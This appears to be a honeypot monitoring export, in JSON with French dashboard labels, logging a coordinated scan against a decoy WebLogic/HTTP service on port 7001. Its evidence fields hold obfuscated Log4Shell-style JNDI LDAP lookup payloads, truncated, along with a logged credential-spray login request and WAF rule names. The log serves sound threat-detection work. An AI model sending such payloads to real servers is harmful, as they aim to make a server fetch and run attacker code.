"http_path": "\/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12\u2026",
"request_line": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:",
"attack_vector": "port 7001 tcp \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}\u2026",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 62\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (4 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 62,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12\u2026",
"request_line": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:kth7:-\/}${begd:la4:-\/}${18:-P}${r12:-A}${y:3:a:-l}${0b:6y:-0}${2:1t:93k\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 7001 tcp \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}\u2026",
"evidence_snippet": "PUT \/${${wv:qg:-j}${s4n:-n}${tkxe:rf:-d}${pmy:c:-i}${r9tc:vdy:e:-:}${m:z:y1d:-l}${6jr:-d}${z2j:m:-a}${j:x6:j:-p}${tso5:-:}${j0b:",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 4,
"multi_protocol_sample": [
"elasticsearch",
"http",
"weblogic",
"winrm"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:33:14 UTC
TCP
7001 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:7001 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:7001
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:7001 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2776 Content-Type: application/x-www-form-urlencod
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3038,
"payload_entropy": 4.556100325530284,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "2570eb8ebd0e8be6273d5aff690ee729fb6db68e",
"event_fingerprint": "635b50f2c33eccca0e1bf07c4cda72bf0cfa6c6d",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "0a738bbdd005620dace041592606ab52",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2776\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2776\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b26b510ba9b8950acd4edc5fb142aed32df6fa39",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (4 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 4,
"multi_protocol_sample": [
"elasticsearch",
"http",
"weblogic",
"winrm"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:33:14 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
ZSDLKFJ2 /${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
95%
Corrélation +18
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk
Requête brute (extrait)
ZSDLKFJ2 /${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk:9s4:-p}${2d:bwl:-:}${lp:wgy:2rz:-/}${g:-/}${w:9b5h:su:-P}${cw:67s3:-A}${ct:-l}${k1:ptg1:5pq:-0}${7n:2yo6:-c}${6l97:--}${${qh9:-
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 4096,
"payload_entropy": 4.878661320819956,
"port_category": "registered",
"org": "Google LLC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 396982,
"country": "US",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 33,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "87ffbc78850450c2e9f518410708c38d",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_preview": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"request_sample": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk:9s4:-p}${2d:bwl:-:}${lp:wgy:2rz:-\/}${g:-\/}${w:9b5h:su:-P}${cw:67s3:-A}${ct:-l}${k1:ptg1:5pq:-0}${7n:2yo6:-c}${6l97:--}${${qh9:-",
"payload_snippet": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk:9s4:-p}${2d:bwl:-:}${lp:wgy:2rz:-\/}${g:-\/}${w:9b5h:su:-P}${cw:67s3:-A}${ct:-l}${k1:ptg1:5pq:-0}${7n:2yo6:-c}${6l97:--}${${qh9:-",
"payload_snippet": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1f5c611c8622202add445f7ff20e8e1820ae83cf",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 33,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "ZSDLKFJ2 \/${${p:l6:ky:-j}${c:uva:-n}${v:-d}${n:0al:ox6:-i}${iszj:w2:9ok:-:}${4q:jf:-l}${42k:n9:se:-d}${0mgq:iz9:qxjv:-a}${l3:8gk",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
